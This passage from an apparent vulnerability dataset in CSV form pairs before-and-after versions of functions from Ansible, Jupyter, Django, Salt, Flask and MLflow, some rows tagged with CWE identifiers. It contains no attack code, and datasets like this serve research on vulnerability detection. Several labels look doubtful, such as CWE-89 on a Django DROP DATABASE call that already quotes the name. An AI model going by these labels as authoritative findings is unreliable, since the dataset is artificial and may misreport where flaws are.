                    module=module, radius_server_group=radius_server_group)
                updates.append(cmd)
                changed = True

            rds_enable_new = (""false"")
            if rds_enable_new not in rds_enable_exist:
                cmd = ce_aaa_server.merge_radius_client(
                    module=module, isEnable=""false"")
                updates.append(cmd)
                changed = True
            else:
                pass

        rds_template_end = ce_aaa_server.get_radius_template(module=module)
        end_state[""radius template""] = rds_template_end

        rds_enable_end = ce_aaa_server.get_radius_client(module=module)
        end_state[""radius enable""] = rds_enable_end

    tmp_scheme = author_scheme_name

    # hwtacas template
    if (authen_scheme_name and first_authen_mode.lower() == ""hwtacacs"") \
            or (tmp_scheme and first_author_mode.lower() == ""hwtacacs"") \
            or (acct_scheme_name and accounting_mode.lower() == ""hwtacacs""):

        if not hwtacas_template:
            module.fail_json(
                msg='please input hwtacas_template when use hwtacas.')

        hwtacacs_exist = ce_aaa_server.get_hwtacacs_template(module=module)
        hwtacacs_new = (hwtacas_template)

        hwtacacs_enbale_exist = ce_aaa_server.get_hwtacacs_global_cfg(
            module=module)

        existing[""hwtacacs template""] = hwtacacs_exist
        existing[""hwtacacs enable""] = hwtacacs_enbale_exist

        if state == ""present"":
            # present hwtacas template
            if len(hwtacacs_exist) == 0:
                cmd = ce_aaa_server.create_hwtacacs_template(
                    module=module, hwtacas_template=hwtacas_template)
                updates.append(cmd)
                changed = True
            elif hwtacacs_new not in hwtacacs_exist:
                cmd = ce_aaa_server.merge_hwtacacs_template(
                    module=module, hwtacas_template=hwtacas_template)
                updates.append(cmd)
                changed = True

            hwtacacs_enbale_new = (""true"")
            if hwtacacs_enbale_new not in hwtacacs_enbale_exist:
                cmd = ce_aaa_server.merge_hwtacacs_global_cfg(
                    module=module, isEnable=""true"")
                updates.append(cmd)
                changed = True

        else:
            # absent hwtacas template
            if len(hwtacacs_exist) == 0:
                pass
            elif hwtacacs_new not in hwtacacs_exist:
                pass
            else:
                cmd = ce_aaa_server.delete_hwtacacs_template(
                    module=module, hwtacas_template=hwtacas_template)
                updates.append(cmd)
                changed = True

            hwtacacs_enbale_new = (""false"")
            if hwtacacs_enbale_new not in hwtacacs_enbale_exist:
                cmd = ce_aaa_server.merge_hwtacacs_global_cfg(
                    module=module, isEnable=""false"")
                updates.append(cmd)
                changed = True
            else:
                pass

        hwtacacs_end = ce_aaa_server.get_hwtacacs_template(module=module)
        end_state[""hwtacacs template""] = hwtacacs_end

        hwtacacs_enable_end = ce_aaa_server.get_hwtacacs_global_cfg(
            module=module)
        end_state[""hwtacacs enable""] = hwtacacs_enable_end

    # local user group
    if local_user_group:

        user_group_exist = ce_aaa_server.get_local_user_group(module=module)
        user_group_new = (local_user_group)

        existing[""local user group""] = user_group_exist

        if state == ""present"":
            # present local user group
            if len(user_group_exist) == 0:
                cmd = ce_aaa_server.merge_local_user_group(
                    module=module, local_user_group=local_user_group)
                updates.append(cmd)
                changed = True
            elif user_group_new not in user_group_exist:
                cmd = ce_aaa_server.merge_local_user_group(
                    module=module, local_user_group=local_user_group)
                updates.append(cmd)
                changed = True

        else:
            # absent local user group
            if len(user_group_exist) == 0:
                pass
            elif user_group_new not in user_group_exist:
                pass
            else:
                cmd = ce_aaa_server.delete_local_user_group(
                    module=module, local_user_group=local_user_group)
                updates.append(cmd)
                changed = True

        user_group_end = ce_aaa_server.get_local_user_group(module=module)
        end_state[""local user group""] = user_group_end

    results = dict()
    results['proposed'] = proposed
    results['existing'] = existing
    results['changed'] = changed
    results['end_state'] = end_state
    results['updates'] = updates

    module.exit_json(**results)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/notebookapp.py,0,"def init_webapp(self):
        """"""initialize tornado webapp and httpserver""""""
        self.tornado_settings['allow_origin'] = self.allow_origin
        self.tornado_settings['websocket_compression_options'] = self.websocket_compression_options
        if self.allow_origin_pat:
            self.tornado_settings['allow_origin_pat'] = re.compile(self.allow_origin_pat)
        self.tornado_settings['allow_credentials'] = self.allow_credentials
        self.tornado_settings['cookie_options'] = self.cookie_options
        self.tornado_settings['get_secure_cookie_kwargs'] = self.get_secure_cookie_kwargs
        self.tornado_settings['token'] = self.token

        # ensure default_url starts with base_url
        if not self.default_url.startswith(self.base_url):
            self.default_url = url_path_join(self.base_url, self.default_url)

        if self.password_required and (not self.password):
            self.log.critical(_(""Notebook servers are configured to only be run with a password.""))
            self.log.critical(_(""Hint: run the following command to set a password""))
            self.log.critical(_(""\t$ python -m notebook.auth password""))
            sys.exit(1)

        self.web_app = NotebookWebApplication(
            self, self.kernel_manager, self.contents_manager,
            self.session_manager, self.kernel_spec_manager,
            self.config_manager, self.extra_services,
            self.log, self.base_url, self.default_url, self.tornado_settings,
            self.jinja_environment_options,
        )
        ssl_options = self.ssl_options
        if self.certfile:
            ssl_options['certfile'] = self.certfile
        if self.keyfile:
            ssl_options['keyfile'] = self.keyfile
        if self.client_ca:
            ssl_options['ca_certs'] = self.client_ca
        if not ssl_options:
            # None indicates no SSL config
            ssl_options = None
        else:
            # SSL may be missing, so only import it if it's to be used
            import ssl
            # PROTOCOL_TLS selects the highest ssl/tls protocol version that both the client and
            # server support. When PROTOCOL_TLS is not available use PROTOCOL_SSLv23.
            # PROTOCOL_TLS is new in version 2.7.13, 3.5.3 and 3.6
            ssl_options.setdefault(
                'ssl_version',
                getattr(ssl, 'PROTOCOL_TLS', ssl.PROTOCOL_SSLv23)
            )
            if ssl_options.get('ca_certs', False):
                ssl_options.setdefault('cert_reqs', ssl.CERT_REQUIRED)
        
        self.login_handler_class.validate_security(self, ssl_options=ssl_options)
        self.http_server = httpserver.HTTPServer(self.web_app, ssl_options=ssl_options,
                                                 xheaders=self.trust_xheaders,
                                                 max_body_size=self.max_body_size,
                                                 max_buffer_size=self.max_buffer_size)

        success = None
        for port in random_ports(self.port, self.port_retries+1):
            try:
                self.http_server.listen(port, self.ip)
            except socket.error as e:
                if e.errno == errno.EADDRINUSE:
                    self.log.info(_('The port %i is already in use, trying another port.') % port)
                    continue
                elif e.errno in (errno.EACCES, getattr(errno, 'WSAEACCES', errno.EACCES)):
                    self.log.warning(_(""Permission to listen on port %i denied"") % port)
                    continue
                else:
                    raise
            else:
                self.port = port
                success = True
                break
        if not success:
            self.log.critical(_('ERROR: the notebook server could not be started because '
                              'no available port could be found.'))
            self.exit(1)",,jupyter/notebook,55177807bc52b9479b5c472cc4fee7fe0647f17c,"def init_webapp(self):
        """"""initialize tornado webapp and httpserver""""""
        self.tornado_settings['allow_origin'] = self.allow_origin
        self.tornado_settings['websocket_compression_options'] = self.websocket_compression_options
        if self.allow_origin_pat:
            self.tornado_settings['allow_origin_pat'] = re.compile(self.allow_origin_pat)
        self.tornado_settings['allow_credentials'] = self.allow_credentials
        self.tornado_settings['cookie_options'] = self.cookie_options
        self.tornado_settings['get_secure_cookie_kwargs'] = self.get_secure_cookie_kwargs
        self.tornado_settings['token'] = self.token

        # ensure default_url starts with base_url
        if not self.default_url.startswith(self.base_url):
            self.default_url = url_path_join(self.base_url, self.default_url)

        if self.password_required and (not self.password):
            self.log.critical(_(""Notebook servers are configured to only be run with a password.""))
            self.log.critical(_(""Hint: run the following command to set a password""))
            self.log.critical(_(""\t$ python -m notebook.auth password""))
            sys.exit(1)

        self.web_app = NotebookWebApplication(
            self, self.kernel_manager, self.contents_manager,
            self.session_manager, self.kernel_spec_manager,
            self.config_manager, self.extra_services,
            self.log, self.base_url, self.default_url, self.tornado_settings,
            self.jinja_environment_options,
        )
        ssl_options = self.ssl_options
        if self.certfile:
            ssl_options['certfile'] = self.certfile
        if self.keyfile:
            ssl_options['keyfile'] = self.keyfile
        if self.client_ca:
            ssl_options['ca_certs'] = self.client_ca
        if not ssl_options:
            # None indicates no SSL config
            ssl_options = None
        else:
            # SSL may be missing, so only import it if it's to be used
            import ssl
            # PROTOCOL_TLS selects the highest ssl/tls protocol version that both the client and
            # server support. When PROTOCOL_TLS is not available use PROTOCOL_SSLv23
            ssl_options.setdefault(
                'ssl_version',
                getattr('ssl', 'PROTOCOL_TLS', ssl.PROTOCOL_SSLv23)
            )
            if ssl_options.get('ca_certs', False):
                ssl_options.setdefault('cert_reqs', ssl.CERT_REQUIRED)
        
        self.login_handler_class.validate_security(self, ssl_options=ssl_options)
        self.http_server = httpserver.HTTPServer(self.web_app, ssl_options=ssl_options,
                                                 xheaders=self.trust_xheaders,
                                                 max_body_size=self.max_body_size,
                                                 max_buffer_size=self.max_buffer_size)

        success = None
        for port in random_ports(self.port, self.port_retries+1):
            try:
                self.http_server.listen(port, self.ip)
            except socket.error as e:
                if e.errno == errno.EADDRINUSE:
                    self.log.info(_('The port %i is already in use, trying another port.') % port)
                    continue
                elif e.errno in (errno.EACCES, getattr(errno, 'WSAEACCES', errno.EACCES)):
                    self.log.warning(_(""Permission to listen on port %i denied"") % port)
                    continue
                else:
                    raise
            else:
                self.port = port
                success = True
                break
        if not success:
            self.log.critical(_('ERROR: the notebook server could not be started because '
                              'no available port could be found.'))
            self.exit(1)"
,UNKNOWN,UNKNOWN,django/db/backends/base/creation.py,1,"def _destroy_test_db(self, test_database_name, verbosity):
        """"""
        Internal implementation - remove the test db tables.
        """"""
        # Remove the test database to clean up after
        # ourselves. Connect to the previous database (not the test database)
        # to do so, because it's not allowed to delete a database while being
        # connected to it.
        with self.connection._nodb_connection.cursor() as cursor:
            # Wait to avoid ""database is being accessed by other users"" errors.
            time.sleep(1)
            cursor.execute(""DROP DATABASE %s""
                           % self.connection.ops.quote_name(test_database_name))",CWE-89,django/django,cdf7f90f95022002464faede7f0a75fb11d10ecb,"def _destroy_test_db(self, test_database_name, verbosity):
        """"""
        Internal implementation - remove the test db tables.
        """"""
        # Remove the test database to clean up after
        # ourselves. Connect to the previous database (not the test database)
        # to do so, because it's not allowed to delete a database while being
        # connected to it.
        with self._nodb_connection.cursor() as cursor:
            # Wait to avoid ""database is being accessed by other users"" errors.
            time.sleep(1)
            cursor.execute(""DROP DATABASE %s""
                           % self.connection.ops.quote_name(test_database_name))"
,UNKNOWN,UNKNOWN,salt/modules/smtp.py,1,"def send_msg(
    recipient,
    message,
    subject=""Message from Salt"",
    sender=None,
    server=None,
    use_ssl=""True"",
    username=None,
    password=None,
    profile=None,
    attachments=None,
):
    """"""
    Send a message to an SMTP recipient. To send a message to multiple \
    recipients, the recipients should be in a comma-seperated Python string. \
    Designed for use in states.

    CLI Examples:

    .. code-block:: bash

        salt '*' smtp.send_msg 'admin@example.com' 'This is a salt module test' profile='my-smtp-account'
        salt '*' smtp.send_msg 'admin@example.com,admin2@example.com' 'This is a salt module test for multiple recipients' profile='my-smtp-account'
        salt '*' smtp.send_msg 'admin@example.com' 'This is a salt module test' username='myuser' password='verybadpass' sender='admin@example.com' server='smtp.domain.com'
        salt '*' smtp.send_msg 'admin@example.com' 'This is a salt module test' username='myuser' password='verybadpass' sender='admin@example.com' server='smtp.domain.com' attachments=""['/var/log/messages']""
    """"""
    if profile:
        creds = __salt__[""config.option""](profile)
        server = creds.get(""smtp.server"")
        use_ssl = creds.get(""smtp.tls"")
        sender = creds.get(""smtp.sender"")
        username = creds.get(""smtp.username"")
        password = creds.get(""smtp.password"")

    if attachments:
        msg = email.mime.multipart.MIMEMultipart()
        msg.attach(email.mime.text.MIMEText(message))
    else:
        msg = email.mime.text.MIMEText(message)
    msg[""Subject""] = subject
    msg[""From""] = sender
    msg[""To""] = recipient
    recipients = [r.strip() for r in recipient.split("","")]

    try:
        if use_ssl in [""True"", ""true""]:
            smtpconn = smtplib.SMTP_SSL(server)
        else:
            smtpconn = smtplib.SMTP(server)

    except socket.gaierror as _error:
        log.debug(""Exception: %s"", _error)
        return False

    if use_ssl not in (""True"", ""true""):
        smtpconn.ehlo()
        if smtpconn.has_extn(""STARTTLS""):
            try:
                smtpconn.starttls()
            except smtplib.SMTPHeloError:
                log.debug(""The server didn’t reply properly to the HELO greeting."")
                return False
            except smtplib.SMTPException:
                log.debug(""The server does not support the STARTTLS extension."")
                return False
            except RuntimeError:
                log.debug(
                    ""SSL/TLS support is not available to your Python interpreter.""
                )
                return False
            smtpconn.ehlo()

    if username and password:
        try:
            smtpconn.login(username, password)
        except smtplib.SMTPAuthenticationError as _error:
            log.debug(""SMTP Authentication Failure"")
            return False

    if attachments:
        for f in attachments:
            name = os.path.basename(f)
            with salt.utils.files.fopen(f, ""rb"") as fin:
                att = email.mime.application.MIMEApplication(fin.read(), Name=name)
            att[""Content-Disposition""] = 'attachment; filename=""{}""'.format(name)
            msg.attach(att)

    try:
        smtpconn.sendmail(sender, recipients, msg.as_string())
    except smtplib.SMTPRecipientsRefused:
        log.debug(""All recipients were refused."")
        return False
    except smtplib.SMTPHeloError:
        log.debug(""The server didn’t reply properly to the HELO greeting."")
        return False
    except smtplib.SMTPSenderRefused:
        log.debug(""The server didn’t accept the %s."", sender)
        return False
    except smtplib.SMTPDataError:
        log.debug(""The server replied with an unexpected error code."")
        return False

    smtpconn.quit()
    return True",CWE-259,saltstack/salt,76e50885b07621e9e4c16bc3f1ebc16c93983b90,"def send_msg(
    recipient,
    message,
    subject=""Message from Salt"",
    sender=None,
    server=None,
    use_ssl=""True"",
    username=None,
    password=None,
    profile=None,
    attachments=None,
):
    """"""
    Send a message to an SMTP recipient. To send a message to multiple \
    recipients, the recipients should be in a comma-seperated Python string. \
    Designed for use in states.

    CLI Examples:

    .. code-block:: bash

        salt '*' smtp.send_msg 'admin@example.com' 'This is a salt module test' profile='my-smtp-account'
        salt '*' smtp.send_msg 'admin@example.com,admin2@example.com' 'This is a salt module test for multiple recipients' profile='my-smtp-account'
        salt '*' smtp.send_msg 'admin@example.com' 'This is a salt module test' username='myuser' password='verybadpass' sender='admin@example.com' server='smtp.domain.com'
        salt '*' smtp.send_msg 'admin@example.com' 'This is a salt module test' username='myuser' password='verybadpass' sender='admin@example.com' server='smtp.domain.com' attachments=""['/var/log/messages']""
    """"""
    if profile:
        creds = __salt__[""config.option""](profile)
        server = creds.get(""smtp.server"")
        use_ssl = creds.get(""smtp.tls"")
        sender = creds.get(""smtp.sender"")
        username = creds.get(""smtp.username"")
        password = creds.get(""smtp.password"")

    if attachments:
        msg = email.mime.multipart.MIMEMultipart()
        msg.attach(email.mime.text.MIMEText(message))
    else:
        msg = email.mime.text.MIMEText(message)
    msg[""Subject""] = subject
    msg[""From""] = sender
    msg[""To""] = recipient
    recipients = [r.strip() for r in recipient.split("","")]

    try:
        if use_ssl in [""True"", ""true""]:
            smtpconn = smtplib.SMTP_SSL(server)
        else:
            smtpconn = smtplib.SMTP(server)

    except socket.gaierror as _error:
        log.debug(""Exception: %s"", _error)
        return False

    if use_ssl not in (""True"", ""true""):
        smtpconn.ehlo()
        if smtpconn.has_extn(""STARTTLS""):
            try:
                smtpconn.starttls()
            except smtplib.SMTPHeloError:
                log.debug(
                    ""The server didn’t reply properly \
                        to the HELO greeting.""
                )
                return False
            except smtplib.SMTPException:
                log.debug(""The server does not support the STARTTLS extension."")
                return False
            except RuntimeError:
                log.debug(
                    ""SSL/TLS support is not available \
                        to your Python interpreter.""
                )
                return False
            smtpconn.ehlo()

    if username and password:
        try:
            smtpconn.login(username, password)
        except smtplib.SMTPAuthenticationError as _error:
            log.debug(""SMTP Authentication Failure"")
            return False

    if attachments:
        for f in attachments:
            name = os.path.basename(f)
            with salt.utils.files.fopen(f, ""rb"") as fin:
                att = email.mime.application.MIMEApplication(fin.read(), Name=name)
            att[""Content-Disposition""] = 'attachment; filename=""{}""'.format(name)
            msg.attach(att)

    try:
        smtpconn.sendmail(sender, recipients, msg.as_string())
    except smtplib.SMTPRecipientsRefused:
        log.debug(""All recipients were refused."")
        return False
    except smtplib.SMTPHeloError:
        log.debug(""The server didn’t reply properly to the HELO greeting."")
        return False
    except smtplib.SMTPSenderRefused:
        log.debug(""The server didn’t accept the %s."", sender)
        return False
    except smtplib.SMTPDataError:
        log.debug(""The server replied with an unexpected error code."")
        return False

    smtpconn.quit()
    return True"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/cli.py,0,"def show_server_banner(env, debug, app_import_path, eager_loading):
    """"""Show extra startup messages the first time the server is run,
    ignoring the reloader.
    """"""
    if os.environ.get('WERKZEUG_RUN_MAIN') == 'true':
        return

    if app_import_path is not None:
        message = ' * Serving Flask app ""{0}""'.format(app_import_path)

        if not eager_loading:
            message += ' (lazy loading)'

        click.echo(message)

    click.echo(' * Environment: {0}'.format(env))

    if env == 'production':
        click.secho(
            '   WARNING: This is a development server. '
            'Do not use it in a production deployment.', fg='red')
        click.secho('   Use a production WSGI server instead.', dim=True)

    if debug is not None:
        click.echo(' * Debug mode: {0}'.format('on' if debug else 'off'))",,pallets/flask,f2c854060adf021347a6c4217fdb06a77a38bf58,"def show_server_banner(env, debug, app_import_path, eager_loading):
    """"""Show extra startup messages the first time the server is run,
    ignoring the reloader.
    """"""
    if os.environ.get('WERKZEUG_RUN_MAIN') == 'true':
        return

    if app_import_path is not None:
        message = ' * Serving Flask app ""{0}""'.format(app_import_path)

        if not eager_loading:
            message += ' (lazy loading)'

        click.echo(message)

    click.echo(' * Environment: {0}'.format(env))

    if env == 'production':
        click.secho(
            '   WARNING: Do not use the development server in a production'
            ' environment.', fg='red')
        click.secho('   Use a production WSGI server instead.', dim=True)

    if debug is not None:
        click.echo(' * Debug mode: {0}'.format('on' if debug else 'off'))"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/tracking/client.py,0,"def search_runs(
        self,
        experiment_ids: List[str],
        filter_string: str = """",
        run_view_type: int = ViewType.ACTIVE_ONLY,
        max_results: int = SEARCH_MAX_RESULTS_DEFAULT,
        order_by: Optional[List[str]] = None,
        page_token: Optional[str] = None,
    ) -> PagedList[Run]:
        """"""
        Search for Runs that fit the specified criteria.

        :param experiment_ids: List of experiment IDs, or a single int or string id.
        :param filter_string: Filter query string, defaults to searching all runs.
        :param run_view_type: one of enum values ACTIVE_ONLY, DELETED_ONLY, or ALL runs
                              defined in :py:class:`mlflow.entities.ViewType`.
        :param max_results: Maximum number of runs desired.
        :param order_by: List of columns to order by (e.g., ""metrics.rmse""). The ``order_by`` column
                     can contain an optional ``DESC`` or ``ASC`` value. The default is ``ASC``.
                     The default ordering is to sort by ``start_time DESC``, then ``run_id``.
        :param page_token: Token specifying the next page of results. It should be obtained from
            a ``search_runs`` call.

        :return: A :py:class:`PagedList <mlflow.store.entities.PagedList>` of
            :py:class:`Run <mlflow.entities.Run>` objects that satisfy the search expressions.
            If the underlying tracking store supports pagination, the token for the next page may
            be obtained via the ``token`` attribute of the returned object.

        .. code-block:: python
            :caption: Example

            import mlflow
            from mlflow import MlflowClient
            from mlflow.entities import ViewType

            def print_run_info(runs):
                for r in runs:
                    print(""run_id: {}"".format(r.info.run_id))
                    print(""lifecycle_stage: {}"".format(r.info.lifecycle_stage))
                    print(""metrics: {}"".format(r.data.metrics))

                    # Exclude mlflow system tags
                    tags = {k: v for k, v in r.data.tags.items() if not k.startswith(""mlflow."")}
                    print(""tags: {}"".format(tags))

            # Create an experiment and log two runs with metrics and tags under the experiment
            experiment_id = mlflow.create_experiment(""Social NLP Experiments"")
            with mlflow.start_run(experiment_id=experiment_id) as run:
                mlflow.log_metric(""m"", 1.55)
                mlflow.set_tag(""s.release"", ""1.1.0-RC"")
            with mlflow.start_run(experiment_id=experiment_id):
                mlflow.log_metric(""m"", 2.50)
                mlflow.set_tag(""s.release"", ""1.2.0-GA"")

            # Search all runs under experiment id and order them by
            # descending value of the metric 'm'
            client = MlflowClient()
            runs = client.search_runs(experiment_id, order_by=[""metrics.m DESC""])
            print_run_info(runs)
            print(""--"")

            # Delete the first run
            client.delete_run(run_id=run.info.run_id)

            # Search only deleted runs under the experiment id and use a case insensitive pattern
            # in the filter_string for the tag.
            filter_string = ""tags.s.release ILIKE '%rc%'""
            runs = client.search_runs(experiment_id, run_view_type=ViewType.DELETED_ONLY,
                                        filter_string=filter_string)
            print_run_info(runs)

        .. code-block:: text
            :caption: Output

            run_id: 0efb2a68833d4ee7860a964fad31cb3f
            lifecycle_stage: active
            metrics: {'m': 2.5}
            tags: {'s.release': '1.2.0-GA'}
            run_id: 7ab027fd72ee4527a5ec5eafebb923b8
            lifecycle_stage: active
            metrics: {'m': 1.55}
            tags: {'s.release': '1.1.0-RC'}
            --
            run_id: 7ab027fd72ee4527a5ec5eafebb923b8
            lifecycle_stage: deleted
            metrics: {'m': 1.55}
            tags: {'s.release': '1.1.0-RC'}
        """"""
        return self._tracking_client.search_runs(
            experiment_ids, filter_string, run_view_type, max_results, order_by, page_token
        )",,mlflow/mlflow,6b0b20adf0e8aa53a2beb8352ceaa013fb72c10c,"def search_runs(
        self,
        experiment_ids: List[str],
        filter_string: str = """",
        run_view_type: int = ViewType.ACTIVE_ONLY,
        max_results: int = SEARCH_MAX_RESULTS_DEFAULT,
        order_by: Optional[List[str]] = None,
        page_token: Optional[str] = None,
    ) -> PagedList[Run]:
        """"""
        Search experiments that fit the search criteria.

        :param experiment_ids: List of experiment IDs, or a single int or string id.
        :param filter_string: Filter query string, defaults to searching all runs.
        :param run_view_type: one of enum values ACTIVE_ONLY, DELETED_ONLY, or ALL runs
                              defined in :py:class:`mlflow.entities.ViewType`.
        :param max_results: Maximum number of runs desired.
        :param order_by: List of columns to order by (e.g., ""metrics.rmse""). The ``order_by`` column
                     can contain an optional ``DESC`` or ``ASC`` value. The default is ``ASC``.
                     The default ordering is to sort by ``start_time DESC``, then ``run_id``.
        :param page_token: Token specifying the next page of results. It should be obtained from
            a ``search_runs`` call.

        :return: A :py:class:`PagedList <mlflow.store.entities.PagedList>` of
            :py:class:`Run <mlflow.entities.Run>` objects that satisfy the search expressions.
            If the underlying tracking store supports pagination, the token for the next page may
            be obtained via the ``token`` attribute of the returned object.

        .. code-block:: python
            :caption: Example

            import mlflow
            from mlflow import MlflowClient
            from mlflow.entities import ViewType

            def print_run_info(runs):
                for r in runs:
                    print(""run_id: {}"".format(r.info.run_id))
                    print(""lifecycle_stage: {}"".format(r.info.lifecycle_stage))
                    print(""metrics: {}"".format(r.data.metrics))

                    # Exclude mlflow system tags
                    tags = {k: v for k, v in r.data.tags.items() if not k.startswith(""mlflow."")}
                    print(""tags: {}"".format(tags))

            # Create an experiment and log two runs with metrics and tags under the experiment
            experiment_id = mlflow.create_experiment(""Social NLP Experiments"")
            with mlflow.start_run(experiment_id=experiment_id) as run:
                mlflow.log_metric(""m"", 1.55)
                mlflow.set_tag(""s.release"", ""1.1.0-RC"")
            with mlflow.start_run(experiment_id=experiment_id):
                mlflow.log_metric(""m"", 2.50)
                mlflow.set_tag(""s.release"", ""1.2.0-GA"")

            # Search all runs under experiment id and order them by
            # descending value of the metric 'm'
            client = MlflowClient()
            runs = client.search_runs(experiment_id, order_by=[""metrics.m DESC""])
            print_run_info(runs)
            print(""--"")

            # Delete the first run
            client.delete_run(run_id=run.info.run_id)

            # Search only deleted runs under the experiment id and use a case insensitive pattern
            # in the filter_string for the tag.
            filter_string = ""tags.s.release ILIKE '%rc%'""
            runs = client.search_runs(experiment_id, run_view_type=ViewType.DELETED_ONLY,
                                        filter_string=filter_string)
            print_run_info(runs)

        .. code-block:: text
            :caption: Output

            run_id: 0efb2a68833d4ee7860a964fad31cb3f
            lifecycle_stage: active
            metrics: {'m': 2.5}
            tags: {'s.release': '1.2.0-GA'}
            run_id: 7ab027fd72ee4527a5ec5eafebb923b8
            lifecycle_stage: active
            metrics: {'m': 1.55}
            tags: {'s.release': '1.1.0-RC'}
            --
            run_id: 7ab027fd72ee4527a5ec5eafebb923b8
            lifecycle_stage: deleted
            metrics: {'m': 1.55}
            tags: {'s.release': '1.1.0-RC'}
        """"""
        return self._tracking_client.search_runs(
            experiment_ids, filter_string, run_view_type, max_results, order_by, page_token
        )"
,UNKNOWN,UNKNOWN,tests/models/test_model_input_examples.py,1,"def test_input_examples(pandas_df_with_all_types, dict_of_ndarrays):
    sig = infer_signature(pandas_df_with_all_types)
    # test setting example with data frame with all supported data types
    with TempDir() as tmp:
        example = _Example(pandas_df_with_all_types)
        example.save(tmp.path())
        filename = example.info[""artifact_path""]
        with open(tmp.path(filename), ""r"") as f:
            data = json.load(f)
            assert set(data.keys()) == {""columns"", ""data""}
        parsed_df = _dataframe_from_json(tmp.path(filename), schema=sig.inputs)
        assert (pandas_df_with_all_types == parsed_df).all().all()
        # the frame read without schema should match except for the binary values
        assert (
            (
                parsed_df.drop(columns=[""binary""])
                == _dataframe_from_json(tmp.path(filename)).drop(columns=[""binary""])
            )
            .all()
            .all()
        )

    # NB: Drop columns that cannot be encoded by proto_json_utils.pyNumpyEncoder
    new_df = pandas_df_with_all_types.drop(columns=[""boolean_ext"", ""integer_ext"", ""string_ext""])

    # pass the input as dictionary instead
    with TempDir() as tmp:
        d = {name: new_df[name].values for name in new_df.columns}
        example = _Example(d)
        example.save(tmp.path())
        filename = example.info[""artifact_path""]
        parsed_dict = _read_tensor_input_from_json(tmp.path(filename))
        assert d.keys() == parsed_dict.keys()
        # Asserting binary will fail since it is converted to base64 encoded strings.
        # The check above suffices that the binary input is stored.
        del d[""binary""]
        for key in d:
            np.testing.assert_array_equal(d[key], parsed_dict[key])

    # input passed as numpy array
    new_df = pandas_df_with_all_types.drop(columns=[""binary""])
    for col in new_df:
        input_example = new_df[col].to_numpy()
        with TempDir() as tmp:
            example = _Example(input_example)
            example.save(tmp.path())
            filename = example.info[""artifact_path""]
            parsed_ary = _read_tensor_input_from_json(tmp.path(filename))
            np.testing.assert_array_equal(parsed_ary, input_example)

    # pass multidimensional array
    for col in dict_of_ndarrays:
        input_example = dict_of_ndarrays[col]
        with TempDir() as tmp:
            example = _Example(input_example)
            example.save(tmp.path())
            filename = example.info[""artifact_path""]
            parsed_ary = _read_tensor_input_from_json(tmp.path(filename))
            np.testing.assert_array_equal(parsed_ary, input_example)

    # pass multidimensional array as a list
    example = np.array([[1, 2, 3]])
    with pytest.raises(TensorsNotSupportedException, match=r""Row '0' has shape \(1, 3\)""):
        _Example([example, example])

    # pass dict with scalars
    with TempDir() as tmp:
        example = {""a"": 1, ""b"": ""abc""}
        x = _Example(example)
        x.save(tmp.path())
        filename = x.info[""artifact_path""]
        parsed_df = _dataframe_from_json(tmp.path(filename))
        assert example == parsed_df.to_dict(orient=""records"")[0]",CWE-703,mlflow/mlflow,1720036035551e2b5063c52b9454838b5dd5becb,"def test_input_examples(pandas_df_with_all_types, dict_of_ndarrays):
    sig = infer_signature(pandas_df_with_all_types)
    # test setting example with data frame with all supported data types
    with TempDir() as tmp:
        example = _Example(pandas_df_with_all_types)
        example.save(tmp.path())
        filename = example.info[""artifact_path""]
        with open(tmp.path(filename), ""r"") as f:
            data = json.load(f)
            assert set(data.keys()) == set((""columns"", ""data""))
        parsed_df = _dataframe_from_json(tmp.path(filename), schema=sig.inputs)
        assert (pandas_df_with_all_types == parsed_df).all().all()
        # the frame read without schema should match except for the binary values
        assert (
            (
                parsed_df.drop(columns=[""binary""])
                == _dataframe_from_json(tmp.path(filename)).drop(columns=[""binary""])
            )
            .all()
            .all()
        )

    # NB: Drop columns that cannot be encoded by proto_json_utils.pyNumpyEncoder
    new_df = pandas_df_with_all_types.drop(columns=[""boolean_ext"", ""integer_ext"", ""string_ext""])

    # pass the input as dictionary instead
    with TempDir() as tmp:
        d = {name: new_df[name].values for name in new_df.columns}
        example = _Example(d)
        example.save(tmp.path())
        filename = example.info[""artifact_path""]
        parsed_dict = _read_tensor_input_from_json(tmp.path(filename))
        assert d.keys() == parsed_dict.keys()
        # Asserting binary will fail since it is converted to base64 encoded strings.
        # The check above suffices that the binary input is stored.
        del d[""binary""]
        for key in d:
            np.testing.assert_array_equal(d[key], parsed_dict[key])

    # input passed as numpy array
    new_df = pandas_df_with_all_types.drop(columns=[""binary""])
    for col in new_df:
        input_example = new_df[col].to_numpy()
        with TempDir() as tmp:
            example = _Example(input_example)
            example.save(tmp.path())
            filename = example.info[""artifact_path""]
            parsed_ary = _read_tensor_input_from_json(tmp.path(filename))
            np.testing.assert_array_equal(parsed_ary, input_example)

    # pass multidimensional array
    for col in dict_of_ndarrays:
        input_example = dict_of_ndarrays[col]
        with TempDir() as tmp:
            example = _Example(input_example)
            example.save(tmp.path())
            filename = example.info[""artifact_path""]
            parsed_ary = _read_tensor_input_from_json(tmp.path(filename))
            np.testing.assert_array_equal(parsed_ary, input_example)

    # pass multidimensional array as a list
    example = np.array([[1, 2, 3]])
    with pytest.raises(TensorsNotSupportedException, match=r""Row '0' has shape \(1, 3\)""):
        _Example([example, example])

    # pass dict with scalars
    with TempDir() as tmp:
        example = {""a"": 1, ""b"": ""abc""}
        x = _Example(example)
        x.save(tmp.path())
        filename = x.info[""artifact_path""]
        parsed_df = _dataframe_from_json(tmp.path(filename))
        assert example == parsed_df.to_dict(orient=""records"")[0]"
,UNKNOWN,UNKNOWN,salt/minion.py,1,"def tune_in(self):
        '''
        Lock onto the publisher. This is the main event loop for the minion
        '''
        try:
            log.info(
                '{0} is starting as user \'{1}\''.format(
                    self.__class__.__name__,
                    getpass.getuser()
                )
            )
        except Exception as err:
            # Only windows is allowed to fail here. See #3189. Log as debug in
            # that case. Else, error.
            log.log(
                salt.utils.is_windows() and logging.DEBUG or logging.ERROR,
                'Failed to get the user who is starting {0}'.format(
                    self.__class__.__name__
                ),
                exc_info=err
            )
        signal.signal(signal.SIGTERM, self.clean_die)
        log.debug('Minion ""{0}"" trying to tune in'.format(self.opts['id']))
        self.context = zmq.Context()

        # Prepare the minion event system
        #
        # Start with the publish socket
        id_hash = hashlib.md5(self.opts['id']).hexdigest()
        epub_sock_path = os.path.join(
            self.opts['sock_dir'],
            'minion_event_{0}_pub.ipc'.format(id_hash)
        )
        epull_sock_path = os.path.join(
